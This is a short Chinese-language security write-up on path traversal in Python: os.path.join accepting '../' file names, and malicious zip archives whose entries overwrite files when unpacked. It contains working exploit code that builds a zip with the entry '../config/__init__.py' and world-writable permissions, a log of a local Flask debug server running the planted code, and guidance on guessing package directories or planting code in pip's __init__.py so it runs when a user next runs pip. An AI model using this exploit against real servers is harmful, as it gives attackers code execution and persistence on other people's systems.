目录跳转

https://www.anquanke.com/post/id/86961

0x01

凡是调用了os.path.join的都存在目录跳转的问题

利用os.path.join 实现目录跳转 然后覆盖__init__.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[email protected]:/# python
Python 2.7.16+ (default, Sep 4 2019, 08:19:57)
[GCC 9.2.1 20190827] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> path='/var/www/html/'
>>> filename='../test.py'
>>> import os
>>> outfile=os.path.join(path,filename)
>>> outfile
'/var/www/html/../test.py'
>>> open(outfile,'w').write('print "test"')
>>> open(outfile,'r').read()
'print "test"'
>>>
[email protected]:/# ls /var/www
html test.py

0x02

在本地起一个服务 https://github.com/ajinabraham/bad_python_extract

生成恶意压缩包的代码

1
2
3
4
5
6
import zipfile
z_info = zipfile.ZipInfo(r"../config/__init__.py")
z_file = zipfile.ZipFile("/bad.zip", mode="w")
z_file.writestr(z_info, "print 'test'")
z_info.external_attr = 0777 << 16L
z_file.close()

这里我们需要将文件名设为“../config/init.py”,以覆盖config目录中的init.py文件。z_info.external_attr = 0777 << 16L这条语句会将文件权限设为所有人可读可写权限

执行这段代码会生成一个bad.zip文件,然后上传,就好了

服务台重启 并输出了test

1
2
3
4
192.168.25.1 - - [05/Nov/2019 21:37:05] "POST /upload HTTP/1.1" 200 -
* Detected change in '/test/bad_python_extract-master/config/__init__.py', reloading
* Restarting with stat
test

这里的test是 上面代码里生成的print test

0x03

附上几个python和压缩包有关的函数

image

0x04

前面这个案例中,由于Flask服务器运行在debug=True模式下,因此会立即执行任意代码。实际环境中情况可能不会完全一致。你可能需要等待一段时间,直至服务器重启为止。另一个问题是,我们并不能每次都知道目标应用使用的包的具体路径(本例中为config目录)。如果目标使用的是开源项目,通过阅读源代码我们很容易就能得到这些信息。对于闭源应用来说,我们可以猜测比较常见的包目录,如conf、config、settings、utils、urls、view、tests、scripts、controllers、modules、models、admin、login等。这些包目录经常出现在某些Python Web框架中,如Django、Flask、Pyramid、Tornado、CherryPy、web2py等。

利用python内置的文件

换个思路,假设目标Web应用运行在Ubuntu Linux系统之上,这种情况下,已安装的、内置的Python包位于/home/<user>/.local/lib/python2.7/site-packages/pip目录中。假设目标应用运行在用户目录中,那么我们就可以构造类似“../../.local/lib/python2.7/site-packages/pip/_init_.py”之类的文件名。文件完成解压后,利用这个文件名就可以在pip目录中生成_init_.py文件。如果目标应用使用的是virtualenv,假设virtualenv的目录为venv,那么我们就可以使用类似“../venv/lib/python2.7/site-packages/pip/_init_.py”之类的文件名。这样处理后pip会受到影响,但下次服务器上的用户运行pip命令时,就会执行我们的代码。